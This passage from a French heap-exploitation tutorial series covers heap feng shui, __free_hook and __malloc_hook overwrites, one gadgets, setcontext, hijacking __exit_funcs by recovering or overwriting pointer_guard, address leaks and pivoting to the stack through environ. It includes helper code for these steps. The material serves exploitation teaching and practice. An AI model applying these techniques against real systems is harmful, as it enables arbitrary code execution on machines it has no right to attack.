rapidement un agencement permettant d’atteindre l’objectif. Si vous essayez de tout faire de tête, vous risquez d’avoir une migraine, et c’est du vécu 😅.Pour que ce soit plus simple à expliquer, je vous propose de regarder ensemble ce qui se passe au cours des allocations et libérations suivantes :Voici ce qui s’y passe : malloc(sizeof(struct bloc_0x60)) : une allocation de 0x58 octets est demandée, le programme retourne alors un bloc mémoire de taille 0x60 ; free(0x500000000010) : le précédent bloc alloué est libéré. A priori, cela n’implique pas de souci en particulier. Cependant, rappelez-vous, nous avons supposé que ce programme contient un use-after-free, ce qui permet de toujours accéder aux champs buf, ptr et hash du bloc de taille 0x60 ; malloc(sizeof(struct bloc_0x20)) : le but est de modifier le pointeur ptr (celui du bloc_0x60) avec une valeur arbitraire. Il faut donc trouver un agencement permettant d’avoir une variable que l’on contrôle (comme buf) à cet emplacement. Pour y parvenir, nous allons allouer deux blocs de 0x20 octets et un bloc de 0x30 octets ; malloc(sizeof(struct bloc_0x20)) : allocation du second bloc de taille 0x20 ; malloc(sizeof(struct bloc_0x30)) : allocation d’un bloc de taille 0x30. Nous observons que le champ buf du bloc de taille 0x30 coïncide avec le champ ptr 🟣 du bloc de taille 0x60 libéré. Nous contrôlons donc ce pointeur via buf ! En exploitant le use-after-free, nous pouvons appeler n’importe quelle fonction de manière arbitraire ! Mais tu as fait comment pour savoir qu’il fallait faire les allocations précisément dans cet ordre 🧐 ?En faisant un schéma 😊, je ne vous ai pas menti quand j’ai dit qu’il est plus facile de trouver un bon agencement en faisant un schéma. J’insiste encore une fois, lorsque vous démarrez l’exploitation d’un programme utilisant le tas, prenez bien le temps de voir les différentes tailles de blocs que vous pouvez allouer, la manière dont elles peuvent se chevaucher. Cela vous permet de savoir à l’avance quelles sont les corbeilles que vous allez sans doute devoir utiliser et celles qui, a priori, ne seront pas utilisées (sauf si vous bidouillez la taille des blocs 😉).Les malloc hooks - pre glibc 2.34Dans ce chapitre, nous allons enfin voir comment convertir une écriture arbitraire depuis le tas en exécution de code. On avait déjà vu comment faire cela lorsqu’il existe des pointeurs de fonctions que l’on peut modifier. La question se pose lorsqu’il n’y a, a priori, pas de pointeurs de fonctions utilisables. Malheureusement, depuis la version 2.34 de la glibc, ces hooks ne sont plus disponibles 😔. Cela rend l’exploitation plus compliquée dans le tas, mais pas impossible 😉 ! Nous verrons un peu plus loin comment faire en utilisant la variable globale __exit_funcs.Que sont les malloc hooks ?Les hooks de malloc sont des variables globales définies dans le fichier malloc.c de la glibc. Il y en a 5 mais les deux premiers sont les plus utilisés : __free_hook ; __malloc_hook ; __realloc_hook ; __memalign_hook ; __after_morecore_hook.Chaque hook a initialement la valeur NULL. Tant que leur valeur est NULL, le programme fait comme si ces hooks n’existaient pas.A la base, ces hooks sont mis à la disposition des développeurs afin qu’ils puissent fournir une implémentation personnalisée de free, malloc etc. en fonction des besoins et du contexte de leur programme en les utilisant comme des pointeurs de fonction. Que se passe-t-il lorsqu’un hook ne vaut pas NULL ?Pour répondre à la question, voyons ce qu’il se passe dans la fonction malloc lorsque __malloc_hook ne vaut pas NULL :void * __libc_malloc (size_t bytes){ mstate ar_ptr; void *victim; void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS (0));Comme vous pouvez le voir à la dernière ligne, si __malloc_hook contient une valeur non nulle, a priori un pointeur de fonction, ladite fonction est alors appelée et remplace le mécanisme d’allocation de malloc car le malloc “classique” ne poursuivra pas son exécution.En termes de pwn deux choses attirent notre attention : le moment à partir duquel la fonction est appelée : au tout début de malloc. Ainsi, il n’y a pas de vérifications réalisées auxquelles nous devrons faire attention ; les arguments utilisés lors de l’appel de __malloc_hook : le premier argument est le nombre d’octets à allouer. Il s’agit du paramètre classique utilisé dans malloc. Le second argument est l’adresse de retour mais n’est généralement pas utile.Idem pour le __free_hook appelé dès le début de la fonction free. Ok mais concrètement on fait comment pour ouvrir un shell avec ça ?C’est très simple, voyons un exemple de scénario d’exploitation. Nous supposons que nous avons déjà une primitive permettant de réaliser une écriture arbitraire, que l’on a contourné l’ASLR etc. : utiliser l’écriture arbitraire pour écrire dans __free_hook l’adresse de la fonction system ; allouer un bloc et y écrire \"/bin/sh\" (par exemple, l’adresse du bloc retourné peut être 0x5000000010) ; libérer ce bloc. free(0x5000000010) sera appelé ➡️ cela déclenche l’appel à __free_hook(0x5000000010) qui n’est autre que ➡️ system(0x5000000010) ce qui revient à appeler ➡️ system(\"/bin/sh\").Pas mal non 😎 ? D’ailleurs, si vous souhaitez voir le contenu de ces hooks dans gdb, vous pouvez utiliser ce type de commande :gef&gt; x/xg &amp;__free_hook0x7ffff7fc2e40 &lt;__free_hook&gt;: 0x0000000000000000 Pour savoir s’il vaut mieux écraser __free_hook ou __malloc_hook, il faut savoir quel type d’argument on souhaite utiliser. Par exemple avec __free_hook, c’est un pointeur qui lui sera généralement donné en paramètre tandis qu’avec __malloc_hook il s’agit d’un nombre d’octets, ce qui n’est pas commode à utiliser si on souhaite spécifier une adresse en paramètre (sauf si le programme vous permet de choisir une taille d’allocation énorme). Ainsi, c’est généralement __free_hook qui est utilisé pour rediriger l’exécution vers une fonction arbitraire.Les one gadgets Dans le cas où je souhaite appeler une fonction avec plusieurs arguments (comme execve(\"/bin/sh\",argv,env)), je fais comment ?Si la fonction à exécuter est execve il est possible d’utiliser, ce que l’on appelle, un one gadget. Il est parfois possible d’appeler également execl avec cette méthode.Comme son nom l’indique, il s’agit d’un gadget comme ceux que l’on a déjà utilisé en ROP. C’est-à-dire que c’est une instruction à laquelle il est possible de sauter, dans le cadre d’une chaîne de ROP, afin d’exécuter du code arbitraire.Néanmoins lorsque l’on utilise les malloc hooks, nous ne contrôlons pas une chaîne de ROP mais seulement l’adresse à laquelle le programme ira une fois que la fonction idoine (free, malloc …) sera appelée. Ça s’annonce compliqué cette histoire : faire du ROP avec une seule adresse 😖 …Attendez ! Je n’ai pas fini d’expliquer ce qu’est un one gadget. J’ai expliqué la partie “gadget” mais pas la partie “one” 😏. Ce type de gadget est qualifié de “one gadget” car il permet d’exécuter plusieurs instructions en même temps, en un saut.Pour être plus précis, il s’agit de gadgets qui permettent d’exécuter directement execve en ayant, plus ou moins, la main sur les arguments. Leur présence s’explique par le fait que la libc a parfois besoin d’appeler execve(\"/bin/sh\",...,...) pour diverses raisons. L’idée derrière l’utilisation d’un one gadget est d’exploiter des appels déjà présents dans libc pour exécuter execve, sans avoir à gérer manuellement la construction des arguments comme c’est le cas dans une chaîne de ROP classique.Généralement, le premier argument sera toujours \"/bin/sh\". Cela est très pratique dans le cas où l’on ne peut pas utiliser __free_hook pour une raison ou une autre. Ainsi, en utilisant __malloc_hook à la place, on n’aura plus à se soucier de gérer le premier argument ; le one gadget le fait pour nous.Par contre, pour argv et envp c’est plus compliqué, il faut l’avouer.Comment les trouver ? Et on les trouve comment ces fameux “one gadgets” 🧐 ?Il existe un outil, éponyme, qui permet de lister les offsets de ces différents one gadgets présents dans une libc en particulier. Utilisons cet outil sur deux libc différentes : 2.27-3ubuntu1_amd64 ; 2.31-0ubuntu9_amd64.Voici ce que ça donne avec la libc 2.27 :L’outil a trouvé plusieurs offsets pouvant faire office de one gadgets. Toutefois, pour chacun des candidats, nous avons une liste de contraintes visibles sous le mot-clé constraints.L’un des inconvénients des one gadgets est qu’ils ne sont pas tous toujours utilisables dans un contexte donné. Il est nécessaire de faire attention à satisfaire les conditions requises par le one gadget avant de l’utiliser.Vous avez également pour chaque candidat l’origine des arguments argv (ex : rsp+0x40) et envp dans le cas où vous souhaitez qu’il aient une valeur en particulier.Les contraintes à satisfaireCes contraintes permettent notamment aux pointeurs argp et envp d’être valides afin que le programme ne déréférence pas des pointeurs invalides, ce qui réduirait à néant l’utilité de cette technique.Ces contraintes peuvent être de différents types : un ou plusieurs registres doivent être nuls (ou pointer vers NULL) ; le contenu de certaines zones de la pile doivent être nulles ; l’adresse de rsp doit être alignée avec une certaine valeur etc.En fonction de la version de la libc utilisée par le programme à exploiter, les conditions ne sont pas les mêmes de même que la difficulté à les satisfaire. Par exemple, voici ce que cela donne avec la version 2.31 : Mais si on a besoin de satisfaire ces conditions, c’est que l’on a besoin de contrôler ces registres ? Or comme on ne peut pas faire de ROP, nous ne pouvons pas les contrôler. Quelle est donc la plus-value de cette méthode ?Malheureusement, les one gadgets ne constituent pas une solution miracle en pwn. Très souvent, nous ne cherchons pas à satisfaire les conditions d’un gadget en particulier nous-mêmes mais c’est l’inverse : on choisit un gadget parce que l’on constate, dans gdb par exemple, que les conditions sont satisfaites au moment de l’appel du hook.Ainsi, la méthodologie pour utiliser un one gadget pourrait se résumer ainsi : récupérer/télécharger la libc utilisée par le programme à exploiter ; utiliser l’outil one_gadget sur la libc ; vérifier dans gdb, lors de l’appel du hook, si les conditions d’appel de l’un des gadgets proposés sont satisfaites ; si oui, récupérer l’offset ainsi que l’adresse de base de la libc (avec un leak par exemple). Il suffit alors d’écrire l’adresse du one gadget choisi dans le hook et faire en sorte que ce dernier soit appelé. Et si l’on se rend compte qu’aucun des one gadgets proposés ne peut être utilisé à cause des contraintes qu’on ne parvient pas à satisfaire ?Le cas échéant, il n’y a pas 36 000 solutions : soit on trouve une astuce pour satisfaire les conditions d’au moins un des gadgets proposés ; soit on sort l’artillerie lourde 💪, à savoir : setcontext.L’avantage des one gadgets est qu’ils permettent d’appeler execve(\"/bin/sh\", ...) sans avoir à construire une chaîne ROP, à condition que les contraintes spécifiques du gadget soient respectées.Inversement, leur inconvénient est que nous n’avons pas toujours la marge nécessaire pour satisfaire ces contraintes. Ainsi, dans le meilleur des cas, l’exécution du programme implique que les contraintes d’un gadget en particulier soient satisfaites. Dans le pire des cas, cette méthode n’est pas utilisable. Evidemment, il est toujours possible de chercher à les satisfaire soi-même, mais je ne vous garantis rien 😅.Dans le cas où il n’est pas possible d’utiliser cette méthode, nous pouvons avoir recours à une fonction très puissante qui est setcontext.setcontextLa fonction setcontext(ucontext_t *ucp); est une fonction du standard POSIX utilisée pour restaurer un contexte d’exécution sauvegardé, permettant ainsi de reprendre l’exécution d’un programme à partir d’un point donné, comme si une interruption ou un basculement de contexte avait eu lieu.Pour faire simple, cette fonction va modifier la valeur de tous les registres à partir d’une zone mémoire pointée par son unique argument : ucontext_t *ucp. Dieu merci, cette fonction fait partie de la libc !Vous vous en doutez, le contenu de cette fonction diffère en fonction des architectures, vous pouvez voir à quoi cela ressemble ici pour l’architecture x86_64.L’appel de la fonction est simple : elle ne prend qu’un seul paramètre, un pointeur, ce qui la rend facilement compatible avec __free_hook. En revanche, la disposition des registres en mémoire peut s’avérer un peu complexe 😅.Pour connaître l’agencement que vous devez réaliser en mémoire afin d’avoir les bonnes valeurs dans les bons registres, vous pouvez jeter un œil à la structure sigcontext. Si ça ne vous aide pas ou que vous êtes bloqués, vous pouvez toujours utiliser des contenus du type AAAAAAAA,BBBBBBBB etc. et voir quelle lettre sera stockée dans quel registre. Waaah j’ai tellement la flemme de renseigner le contenu de chaque registre 😮‍💨. Ça veut dire que je dois savoir à l’avance le contenu des registres que je ne veux pas changer, la galère 😣.Il y a une astuce pour éviter de devoir faire attention au contenu de chaque registre. Généralement ce que l’on souhaite c’est avoir le contrôle des premiers arguments ainsi que de l’adresse de retour pour y mettre la fonction à appeler (ex: execve). Il suffit de ne pas utiliser dans le hook l’adresse de setcontext, mais plutôt l’adresse de la fin de la fonction, ici (syntaxe Intel) :mov rcx, qword ptr [rdx + oRIP]push rcxmov rsi, qword ptr [rdx + oRSI]mov rdi, qword ptr [rdx + oRDI]mov rcx, qword ptr [rdx + oRCX]mov r8, qword ptr [rdx + oR8]mov r9, qword ptr [rdx + oR9]; Setup finally rdx.mov rdx, qword ptr [rdx + oRDX]; End FDE here, we fall into another context.cfi_endproccfi_startproc; Clear rax to indicate success.xor eax, eaxretLes deux premières instructions mettent l’adresse de retour sur la pile : c’est l’adresse de la fonction à exécuter à la sortie de setcontext. Les instructions suivantes permettent de contrôler les valeurs de rdi, rsi, rdx, rcx, r8 et r9. Ça tombe bien, il s’agit des 6 premiers registres utilisés dans la convention d’appel en x86_64 sous Linux !Si la mise en place du buffer ucontext_t *ucp dans le tas peut s’avérer fastidieuse, cette méthode reste une véritable bouée de secours en cas de blocage.📋 Synthèse Le heap feng shui consiste à organiser les allocations/libérations pour placer des blocs à des emplacements stratégiques ; Les malloc hooks permettent de transformer une écriture arbitraire en exécution de code (ex : __free_hook → system) ; Les one gadgets offrent un raccourci pour exécuter execve(\"/bin/sh\", ...), sous conditions ; setcontext permet un contrôle quasi total des registres, utile quand les autres techniques échouent." }, { "title": "Partie 13 - Pistes générales d’exploitation dans la heap - mise en œuvre pratique (2/2)", "url": "/posts/exploitation_de_la_heap_partie_13/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-03-27 08:00:00 -0200", "snippet": "Pistes générales d’exploitation dans la heap : mise en œuvre pratique (2/2)Exploiter les __exit_funcs - post glibc 2.34Les hooks c’est comme le cheval, c’est trop génial ! Ça permet de facilement c...", "content": "Pistes générales d’exploitation dans la heap : mise en œuvre pratique (2/2)Exploiter les __exit_funcs - post glibc 2.34Les hooks c’est comme le cheval, c’est trop génial ! Ça permet de facilement contrôler les arguments et la fonction à exécuter, un régal 😇. Néanmoins depuis la version 2.34 de la glibc, les hooks ne sont plus utilisables 😕. RIP.Tant pis, il va falloir faire autrement, on ne baisse pas les bras 🤓 !Que sont les __exit_funcsLorsqu’un programme termine son exécution, en quittant la fonction main ou autre, certaines fonctions peuvent être appelées pour assurer une sortie en bonne et due forme, notamment en libérant certains pointeurs et en effectuant d’autres opérations de nettoyage. Cela se fait via __exit_funcs.__exit_funcs est une variable globale qui contient un pointeur vers une structure exit_function_list :struct exit_function_list{\tstruct exit_function_list *next;\tsize_t idx;\tstruct exit_function fns[32];};Il s’agit d’une liste chaînée contenant un tableau de fonctions fns qui seront exécutées lors de la sortie du programme, plus précisément lorsque la fonction exit est appelée :void exit (int status){ __run_exit_handlers (status, &amp;__exit_funcs, true, true);}Vous sentez le truc 😏 ? Une liste de pointeurs de fonctions appelées par exit : la liste exit_function_list semble être une cible idéale pour exécuter du code via une écriture arbitraire.Bon, sur le papier ça a l’air d’être facile, en pratique, va falloir un peu d’huile de coude 😅. Le tableau fns contient directement les structures exit_function et non pas un pointeur vers celles-ci !Format des fonctions fnsLes fonctions fns de type exit_function suivent un format bien précis :enum{ ef_free,\t/* `ef_free' MUST be zero! */ ef_us, ef_on, ef_at, ef_cxa};struct exit_function { /* `flavour' should be of type of the `enum' above but since we need this element in an atomic operation we have to use `long int'. */ long int flavor; union {\t\tvoid (*at) (void);\t\t\t\tstruct\t\t {\t\t void (*fn) (int status, void *arg);\t\t void *arg;\t\t } on;\t\t \t\tstruct\t\t {\t\t void (*fn) (void *arg, int status);\t\t void *arg;\t\t void *dso_handle;\t\t } cxa;\t\t } func; };Le premier membre de cette structure est flavor qui est une enum convertie en long int. Ce membre permet de savoir quel est le type de la fonction car il y en a plusieurs possibles comme le souligne le terme union : soit ef_at ➡️ at ; soit ef_on ➡️ on ; ou bien ef_cxa ➡️ cxa.On aura tendance à utiliser flavor == ef_cxa, car cela permet d’exploiter le type cxa, dont la fonction est appelée avec un pointeur en premier argument : void (*fn) (void *arg, int status);.Autre chose à savoir, le tableau de pointeurs de fonction fns contient toujours au moins une entrée : la fonction _dl_fini qui est toujours appelée lorsque le programme termine son exécution. _dl_fini est appelée même si exit n’est pas explicitement appelé dans le code car exit est appelée au retour de l’exécution du main.Fonctionnement global Y a 36 000 structures différentes je comprends pas comment elles sont liées les unes les autres 🤕.Bon, voyons globalement le lien entre ces différentes structures avant de voir comment déclencher une exécution de code arbitraire. Pour que ce soit plus simple à comprendre, plaçons-nous dans le cas habituel où la seule fonction appelée est _dl_fini :Reprenons ce qui a été dit plus haut en utilisant ce schéma comme support : la variable globale __exit_funcs est le point d’entrée du processus d’exécution des fonctions à la sortie du programme. Cette variable pointe vers une structure exit_function_list. Comme les 32 fonctions du tableau fns ne sont pas toutes remplies, la liste chaînée se limite à un seul maillon d’où *next == NULL. En l’occurrence, il n’y a qu’une seule fonction, à savoir : fns[0] ; pour rappel, fns[0] n’est pas un pointeur mais contient directement la structure exit_function. _dl_fini est une fonction de type cxa d’où flavor == ef_cxa. Le second membre est l’adresse de la fonction _dl_fini, enfin pas exactement 🫣 ; Si tout se passe bien à partir de la variable globale __exit_funcs, la fonction _dl_fini est appelée ! Tu ne nous as pas dit ce qu’est le gros PTR_MANGLE, ça a un lien avec le PROTECT_PTR du safe linking ?Il y a effectivement une ressemblance entre ce qui est fait ici et le safe linking. Si vous vous rappelez, le safe linking permet notamment de chiffrer une partie du pointeur pour éviter de pouvoir le modifier trop facilement.Ici, PTR_MANGLE permet également de chiffrer le pointeur mais en utilisant une clé de chiffrement totalement aléatoire, c’est là que réside la principale différence avec la macro PROTECT_PTR où la clé de chiffrement était partiellement aléatoire.Voyons à quoi ressemble la macro PTR_MANGLE :// Syntaxe utilisée AT&amp;T# define PTR_MANGLE(reg) xor %fs:POINTER_GUARD, reg; \\ rol $2*LP_SIZE+1, regEn d’autres termes, l’opération de chiffrement est la suivante rol(ptr ^ pointer_guard, 0x11) avec : rol : une rotation à gauche de 0x11 (2*8+1) bits ; pointer_guard : la clé de chiffrement (de 8 octets en x86_64) ; ptr : l’adresse de la fonction à chiffrer (ex : _dl_fini).pointer_guard où es-tu caché ?Comme vous pouvez le constater, l’algorithme de chiffrement en lui-même n’est pas particulièrement complexe. L’enjeu principal réside dans l’utilisation de la clé de chiffrement pointer_guard et dans la manière d’en déterminer la valeur.Pour comprendre d’où vient ce pointer_guard nous allons revenir en arrière de plusieurs chapitres pour arriver au moment où nous avons évoqué pour la première fois le TLS qui contient cette structure :typedef struct{ void *tcb;\t\t/* Pointer to the TCB. */ dtv_t *dtv; void *self;\t\t/* Pointer to the thread descriptor. */ int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; // 🐥 uintptr_t pointer_guard; // 🔐 unsigned long int unused_vgetcpu_cache[2]; unsigned int feature_1; int __glibc_unused1; void *__private_tm[4]; void *__private_ss; unsigned long long int ssp_base; __128bits __glibc_unused2[8][4] __attribute__ ((aligned (32))); void *__padding[8];} tcbhead_t; N’hésitez pas à revenir au chapitre 10 pour vous rafraîchir la mémoire sur le TLS même si nous n’en avions pas parlé en détails.On y retrouve notre bon vieux canari 🐥, lui aussi généré aléatoirement, mais ce n’est pas ce qui nous intéresse. Ce qui nous intéresse est le membre pointer_guard qui est la seule inconnue dans le chiffrement via rol(ptr ^ pointer_guard, 0x11).Vous pouvez aussi le voir dans gdb-gef++ avec la commande tls :Déterminer la valeur de pointer_guardPour déterminer la valeur du pointer_guard, il existe principalement deux approches, selon les primitives d’exploitation dont vous disposez : lecture arbitraire : étant donné que _dl_fini est toujours présent dans les __exit_funcs, en faisant fuiter l’adresse de _dl_fini et de la valeur chiffrée PTR_MANGLE(&amp;_dl_fini) on peut retrouver avec un simple calcul la valeur de pointer_guard ; écriture arbitraire : dans le cas où vous ne pouvez pas faire fuiter à la fois &amp;_dl_fini et PTR_MANGLE(&amp;_dl_fini) nous allons devoir faire quelque chose d’un peu moins propre. Sachant que la zone mémoire TLS est modifiable, il va falloir que l’on écrase le champ pointer_guard avec une valeur arbitraire afin de maîtriser le chiffrement de la fonction que l’on souhaite exécuter in fine.Primitive : lecture arbitraireVoici le déroulement des opérations lorsque l’on dispose d’une primitive de lecture arbitraire : récupérer l’adresse de _dl_fini (que l’on appellera ptr_dl_fini) ; récupérer l’adresse chiffrée de _dl_fini par PTR_MANGLE qui est le champ func de la structure exit_function (que l’on appellera enc_dl_fini) récupérer la valeur de pointer_guard en calculant ror(enc_dl_fini,0x11,64) ^ ptr_dl_fini ; sélectionner une fonction que l’on souhaite exécuter à la sortie du programme (exemple : system) et récupérer son adresse (notons-la : ptr_func) mettre la valeur chiffrée rol(ptr_func ^ pointer_guard, 0x11) à la place de celle de _dl_fini dans fns[0]Voici les implémentations de ror et rol en python si cela peut vous aider (source) :# Rotate left: 0b1001 --&gt; 0b0011rol = lambda val, r_bits, max_bits: \\ (val &lt;&lt; r_bits%max_bits) &amp; (2**max_bits-1) | \\ ((val &amp; (2**max_bits-1)) &gt;&gt; (max_bits-(r_bits%max_bits)))# Rotate right: 0b1001 --&gt; 0b1100ror = lambda val, r_bits, max_bits: \\ ((val &amp; (2**max_bits-1)) &gt;&gt; r_bits%max_bits) | \\ (val &lt;&lt; (max_bits-(r_bits%max_bits)) &amp; (2**max_bits-1))Exemple d’utilisation : ror(0xbe2433889b961ae1,0x11,64) ^ 0x7ffff7fc9040.La complexité de cette méthode repose sur la possibilité, plus ou moins difficile, de faire fuiter ptr_dl_fini et enc_dl_fini.Primitive : écriture arbitraireCette méthode est un peu plus compliquée à mettre en place car il est nécessaire d’utiliser de force brute afin de trouver où se trouve exactement pointer_guard. En effet, l’adresse de pointer_guard n’est pas fixe relativement à l’adresse de base de la libc. Néanmoins, on remarque que l’offset de pointer_guard par rapport à la libc n’est pas totalement aléatoire.Pour vous en convaincre, utilisons le programme suivant (merci chatGPT 🦾 ) qui : récupère l’adresse de base de la libc et l’affiche ; récupère l’adresse du pointer_guard au sein du TLS ; affiche la différence entre les deux.#define _GNU_SOURCE#include &lt;stdio.h&gt;#include &lt;dlfcn.h&gt;#include &lt;link.h&gt;#include &lt;pthread.h&gt;#include &lt;stdint.h&gt;#include &lt;stdlib.h&gt;int main() { // Recuperation de l'adresse de base de la libc void *handle = dlopen(\"libc.so.6\", RTLD_LAZY); if (!handle) { perror(\"dlopen\"); return 1; } struct link_map *libc_map; if (dlinfo(handle, RTLD_DI_LINKMAP, &amp;libc_map) != 0) { perror(\"dlinfo\"); return 1; } // Adresse de la base de la libc void *libc_base = (void *)libc_map-&gt;l_addr; dlclose(handle); uintptr_t *tls = (uintptr_t *)pthread_self(); // adresse de base du TLS uintptr_t *pointer_guard_addr = (uintptr_t *)((char *)tls + 0x28); // Offset du pointer_guard printf(\"libc base @ %p\\n\", libc_base); printf(\"pointer_guard @ %p\\n\", pointer_guard_addr); printf(\"Offset de [pointer_guard] : 0x%lx\\n\", (uintptr_t)pointer_guard_addr - (uintptr_t)libc_base); return 0;}On le compile avec gcc -g main.c -o exe -ldl -pthread. Exécutons-le plusieurs fois d’affilée : ➜ ./exelibc base @ 0x765323c00000pointer_guard @ 0x765323fd9768Offset de [pointer_guard] : 0x3d9768 ➜ ./exelibc base @ 0x7f8751200000pointer_guard @ 0x7f87515b8768Offset de [pointer_guard] : 0x3b8768 ➜ ./exelibc base @ 0x747e56a00000pointer_guard @ 0x747e56d04768Offset de [pointer_guard] : 0x304768 ➜ ./exelibc base @ 0x745362600000pointer_guard @ 0x745362a13768Offset de [pointer_guard] : 0x413768 Si l’offset semble avoir une trop grande valeur commençant par 0xffff... vous pouvez inverser les termes de la soustraction car selon la version de la libc, la zone mémoire TLS peut se situer avant ou après la zone mémoire de la libc.On remarque que les 12 bits de poids faible ne changent pas tandis que les 12 bits de poids fort semblent varier. En réalité les 12 bits de poids fort de la différence ne sont pas totalement aléatoire.En lançant plusieurs centaines de milliers de fois le programme et en enregistrant la différence, on remarque deux choses : la différence minimale est de 0x229768 tandis que la valeur maximale est de 0x425768 ; certains nombres apparaissent plusieurs fois, en faisant un petit calcul, on s’aperçoit qu’il y a probabilité d’environ 1/500 de retomber sur le même nombre.Cela signifie que pour un offset donné (exemple : 0x234768), en lançant un exploit 500 fois on devrait tomber au moins une fois, selon les statistiques, sur cet offset.Ainsi, dans le cas où vous souhaitez exploiter un programme en changeant manuellement la valeur de pointer_guard, il suffit de se fixer en amont un offset et relancer plusieurs fois le script d’exploitation. L’offset entre la libc et pointer_guard n’est pas toujours sous la forme 0x...768. En fonction du programme que vous analysez et de la libc utilisée, observez dans gdb la différence entre les deux.Voici comment fonctionne cette méthode : sélectionner une fonction que l’on souhaite exécuter à la sortie du programme (exemple : system) et récupérer son adresse (notons-la : ptr_func) ; modifier la valeur de pointer_guard avec une valeur connue (exemple : 0xdeadbeefcafebabe) ; mettre la valeur chiffrée rol(ptr_func ^ 0xdeadbeefcafebabe, 0x11) à la place de celle de _dl_fini dans fns[0]Et voilà, le tour est joué !Récupérer des leaksComme pour l’exploitation de la pile, lorsqu’un programme est protégé par l’ASLR, il est très souvent nécessaire d’obtenir des fuites d’adresses pour contourner l’aléatoirisation de l’espace mémoire.Dans le cas du tas, c’est la même logique : sans fuite d’adresse, impossible de prédire où se trouvent les structures utiles. Si vous avez réalisé les exercices précédents, vous avez déjà été confronté à cette problématique. Et si on voyait ensemble un petit résumé des fuites d’adresse qu’il est possible de faire dans le tas ? Type de corbeille Nom de la méthode utilisée Origine de l’adresse fuitée tcache tcache leak Tas. fastbins fastbin leak Tas. unsorted bin unsorted bin leak Libc ou tas. small bins   Libc ou tas. large bins   Libc ou tas. Nous avons vu comment il est possible de faire fuiter une adresse pour les 3 premiers types de corbeille. Pour ce qui est des small bins et large bins, cela se réalise plus ou moins de la même façon.Ce qui doit principalement attirer notre attention est le type d’adresse que nous voulons faire fuiter. Ainsi, il est inutile de s’acharner sur un tcache ou une fastbin si notre objectif est de faire fuiter une adresse provenant de la libc (sauf s’il est possible de rebondir vers une autre attaque qui, elle, permet de le faire).Retourner dans la pileIl peut arriver, lors de l’exploitation du tas, d’avoir envie de retourner exploiter notre bonne vieille pile. Par exemple, lorsque les hooks de malloc ne sont pas disponibles et que l’on n’arrive pas à exploiter les __exit_funcs. Ou lorsque l’on arrive à rediriger une allocation de bloc mais que l’on ne trouve pas de structure intéressante à écraser au niveau du tas.Retourner dans la pile peut être intéressant dans le cas où l’on a une écriture arbitraire, assez large si possible, afin de faire du ROP. Le souci, vous l’aurez deviné : comment faire pour passer du tas vers la pile ?Contrairement à certaines adresses qu’il peut être possible de deviner, ou bruteforcer, l’adresse de la pile est assez capricieuse 🫤. Mais pas de panique ! Il y a une solution : la variable globale environ ✨.Exploiter la variable globale environ📝 Prérequis : primitive d’écriture arbitraire primitive de lecture arbitraireEn tant que telle, la variable environ ne nous dit pas où est exactement située la pile. En revanche, elle pointe vers le tableau des variables d’environnement qui, comme vous le savez, se situent dans la pile !Ainsi, en ayant accès en lecture à cette variable, nous aurons une idée d’où se situe grosso modo la pile.Voici un programme assez simple que vous pouvez compiler et exécuter afin de comprendre comment fonctionne environ et ce qu’elle contient :#include &lt;stdio.h&gt;extern char **environ;int main() { for (char **env = environ; *env; env++) { printf(\"%s\\n\", *env); } return 0;} D’accord, mais comment réaliser le ROP dont tu nous parles avec pour seule information la localisation de la pile ?Patience, ça arrive 😉.Ce qui est intéressant avec environ est que cette variable a un offset fixe depuis l’adresse de base de la libc. Il est possible d’utiliser pwntools pour récupérer ce décalage :$ ipythonPython 3.13.3 (main, Jun 16 2025, 18:15:32) [GCC 14.2.0]Type 'copyright', 'credits' or 'license' for more informationIPython 8.30.0 -- An enhanced Interactive Python. Type '?' for help.In [1]: from pwn import *In [2]: libc = ELF(\"/usr/lib/x86_64-linux-gnu/libc.so.6\")[*] '/usr/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled SHSTK: Enabled IBT: EnabledIn [3]: hex(libc.symbols[\"environ\"])Out[3]: '0x217e28'Voici comment réaliser le ROP en ayant une primitive de lecture et une primitive d’écriture arbitraires : exploiter la primitive de lecture arbitraire : faire fuiter la libc et afficher, grâce à son offset, la valeur de environ qui est une adresse qui se situe dans la zone mémoire de la pile ; sélectionner une adresse de retour à corrompre : identifier une fonction dont on peut provoquer le retour (i.e. : quitter la fonction) via une action contrôlée (par exemple une entrée utilisateur). À défaut, repérer un point du programme où une fonction retourne après l’exploitation de la primitive d’écriture arbitraire ; sans retour effectif, la corruption de l’adresse n’aura aucun impact ; trouver où se situe l’adresse de retour sélectionnée : en utilisant un débogueur, trouver où se situe cette adresse de retour. Plus le nombre de données qu’il est possible d’écrire avec la primitive d’écriture arbitraire est large, plus on aura de marge quant à la valeur exacte de la localisation de l’adresse de retour sélectionnée ; exploiter la primitive d’écriture arbitraire : écrire la chaîne de ROP de telle sorte à écraser la valeur de retour de la fonction dont on est sûr de provoquer le retour.Le plus difficile dans ce scénario est évidemment de trouver les primitives de lecture et écriture. L’autre défi sera de réécrire l’adresse de retour choisie en ayant assez de marge pour ne pas la louper dans le cas où son offset par rapport à la pile n’est pas totalement fixe.Les appels implicites à mallocImaginez que vous réussissiez à exploiter une vulnérabilité, qu’elle soit dans le tas ou non, vous permettant de modifier __malloc_hook. Vous vous imaginez déjà dans votre exécution de code arbitraire mais … le programme exploité ne semble jamais appeler malloc et encore moins free.Comment faire pour ne pas s’arrêter en si bonne route ? Le sous-titre devrait déjà vous donner un indice 🧐.Intéressons-nous au programme suivant :#define _GNU_SOURCE#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;stdint.h&gt;extern void* __malloc_hook;int main() {\tputs(\"[+] Modification de __malloc_hook\");\t\tvoid **malloc_hook = (void **)&amp;__malloc_hook;\t*malloc_hook = (void *)0xdeadbeefcafebabe;\t\tputs(\"[+] Travail termineeee !\");\treturn 0;}On le compile, par exemple, avec la libc 2.27-3ubuntu1_amd64 afin que les hooks de malloc soient disponibles.Le programme modifie __malloc_hook avec la valeur 0xdeadbeefcafebabe. En exécutant le programme, rien de particulier. Par contre, en ajoutant les lignes suivantes :#define _GNU_SOURCE#include &lt;stdio.h&gt;#include &lt;stdlib.h&gt;#include &lt;stdint.h&gt;extern void* __malloc_hook;int main() {\tputs(\"[+] Modification de 